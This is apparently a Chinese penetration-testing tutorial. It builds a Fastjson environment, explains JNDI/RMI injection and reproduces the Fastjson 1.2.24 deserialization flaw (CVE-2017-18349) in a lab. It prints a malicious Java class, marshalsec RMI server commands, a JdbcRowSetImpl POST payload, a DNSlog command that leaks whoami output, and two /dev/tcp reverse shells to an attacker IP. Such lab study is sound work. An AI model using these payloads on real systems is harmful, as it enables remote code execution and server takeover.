系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。使用Fastjson的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Fastjson简介、利用JNDI References进行注搭建Fastjson、IDEA认识断点Fastjson(Debug)、Fastjson渗透总结、Fastjson 1.2.24 反序列化导致任意入、自命令执行漏洞(CVE-2017-18349)等等操作,如果连Fastjson都不会安装操作提权等,怎么拿下对方服务器?
二、FastJson简介
https://github.com/alibaba/fastjson
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。下图是Fastjson组件中的反序列化流程。
Fastjson解析复杂的数据包:
1、什么是 JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI 是应用程序设计的 Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、 CORBA对象服务、RMI!
2、利用JNDI References进行注入
如何利用JNDI References进行注入呢?现在开始了解RMI的作用!!
首先RMI
服务端除了可以直接绑定远程对象之外,还可以通过References
类来绑定一个外部的远程对象,当RMI
绑定了References
之后,首先会利用Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存(简单理解就是在Registry
中保存远程对象的引用),当客户端使用lookup
获取对应名字的时候,会返回ReferenceWrapper
类的代理文件,然后会调用getReference()
获取Reference
类,最终通过factory
类将Reference
转换为具体的对象实例。
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
服务端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
// ReferenceWrapper包裹Reference类,使其能够通过 RMI 进行远程访问
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
在ReferenceWrapper
源码中不难看出,该类继承自UnicastRemoteObject
,实现对Reference
进行包裹从而让Reference
使其能够通过RMI
进行远程访问
上面是正常的加载流程,那么从安全学习者的角度考虑我们如何操作才能让客户端进行命令执行!
如果我们可以控制 JNDI 客户端中传入的 url 话,那么我们是不是可以自己起一个恶意的 RMI ,让 JNDI 来加载我们的恶意类从而进行命令执行!
首先我们来看一下References
,References
类有两个属性,className
和codebase url
,className
就是远程引用的类名,codebase
决定了我们远程类的位置,当本地classpath
中没有找到对应的类的时候,就会去请求对应codebase
地址下的类 (codebase 支持http协议),那么如果我们将codebase
地址下的类替换成我们的恶意类,这样我们就能让客户端命令执行了
**ps:**在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码
所以整个利用流程如下:
1. 首先开启 HTTP 服务器,并将我们的恶意类放在目录下
2. 开启恶意 RMI 服务器
3. 攻击者控制 uri 参数为上一步开启的恶意 RMI 服务器地址
4. 恶意 RMI 服务器返回 ReferenceWrapper 类
5. 目标(JNDI_Client) 在执行lookup操作的时候,在decodeObject 中将ReferenceWrapper 变为 Reference 类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
三、自搭建FastJson
1、IDEA自动加载fastjson_jar包
https://mvnrepository.com/artifact/com.alibaba/fastjson
下载好fastjson_jar包!
在IDEA官网下载IDEA后,默认下一步Next。
默认安装完成,免费使用30天!
打开IDEA创建个项目,在Maven选择1.8java环境!
项目信息填写好点击完成。
右键选择Directory!
创建个lib文件夹。
首项打开Project Stru...
选择环境!
选择刚下载好的fastjson包!
应用完点击OK即可!
2、IDEA_pom加载fastjson_jar包并运行
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
成功安装fastjson1.2.4
3、创建fastjson代码并运行
不同于我们之前提到的java反序列化,fastjson的序列化有其自身特点,我们通过一些小demo来展示如何使用fastjson。我们常说的fastjson的序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象:
fastjson 序列化demo:
public static void main(String[] args){}
在将fastjson序列化内容填入:
User user = new User();
user.setName("张三");
user.setAge(18);
String jsonStr = JSON.toJSONString(user);
System.out.printf(jsonStr);
加入User类如下:
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
加入调用:
import com.alibaba.fastjson.JSON;
安装成功!
最终代码:
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args){
User user = new User();
user.setName("张三");
user.setAge(18);
String jsonStr = JSON.toJSONString(user);
System.out.printf(jsonStr);
}
}
4、IDEA搭建spring+fastjson(windows环境)
创建一个新项目:
选择java8:
选择web-Spring Web:
等待下载部署包:
创建一个com.example项目的Class:
写入调用函数:
import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
引入调用前面的函数:
@RestController
@GetMapping("/dayumulu")
然后引入:
public String dayutest(){}
再把之前的数据拷贝过来:
User user = new User();
user.setName("张三");
user.setAge(18);
String jsonStr = JSON.toJSONString(user);
拷贝User类过来:
加个结束语:
return jsonStr;
下载fasgjson的jar包部署:
这里不需要添加dependencies了,因为spring项目已经自带了,平台没有需要添加:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
更新源包下载:
成功下载!!
成功!
开启项目:
访问该项目:
http://localhost:8080/dayumulu
如果修改默认8080端口为8888:
server.port=8888
重启即可:
成功访问!
5、IDEA认识断点Fastjson(Debug)
使用Debug运行:
然后按F8进行断点查看:
按三次F8即可看到断点跳转详情!
然后按F9跳过该断点:
四、FastJson渗透总结
1. 反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2. RMI是一种行为,指的是Java远程方法调用。
3. JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4. ldap指轻量级目录访问协议。
存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
1、fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
1)漏洞简介
(1)漏洞原理:
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
(2)影响版本:
Fastjson < 1.2.25
2)漏洞启动
开启FastJson漏洞
sudo docker-compose up -d
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.7:8090/
即可看到JSON格式的输出。
(2)复现该漏洞
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。
JDNI注入详情请看:JNDI注入
curl http://192.168.253.7:8090/ -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'
(3)安装javac环境
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
(4)编译恶意类代码
import java.lang.Runtime;
import java.lang.Process;
public class dayu{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/dayutest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
搭建http服务传输恶意文件
python -m SimpleHTTPServer 80
(5)编译和开启RMI服务
下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
然后安装maven:
apt-get install maven
然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行:
mvn clean package -DskipTests
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#dayu" 9999
可以看到请求成功,加载了恶意类
(6)BP修改包写入poc
POST / HTTP/1.1
Host: 192.168.253.7:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/dayu",
"autoCommit":true
}
}
成功执行!
(7)小拓展测试
http://www.dnslog.cn/
"/bin/sh","-c","ping user.'whoami'.ej0m80.dnslog.cn"
成功DNSlog回显!
(8)RMI调用和Java版本问题
在java8_121版本以前,只要这样就能任意代码:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class rmiTest {
public static void main(String[] args) throws IOException, NamingException {
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
在java8_121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class rmiTest2 {
public static void main(String[] args) throws IOException, NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
4)反弹shell
既然可以执行命令,自然可以反弹 shell,只需要修改之前的 dayu.java 中的 command 部分即可。以下是代码参考:
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.9/8899;cat <&5 | while read line; do $line 2>&5 >&5; done"
或者:
"/bin/bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/1234 0>&1"
成功获得反弹shell!!
五、总结
今天学到FastJson简介、利用JNDI References进行注入、自搭建FastJson、IDEA认识断点Fastjson(Debug)、FastJson渗透总结、fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)-> 服务攻防之框架FastJson(上)-> 服务攻防之框架FastJson(下)......
接下来在《服务攻防之框架FastJson(下)》会接触到Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞、Fastjson 1.2.47 远程命令执行漏洞、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞、追溯历史漏洞情况等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架FastJson篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余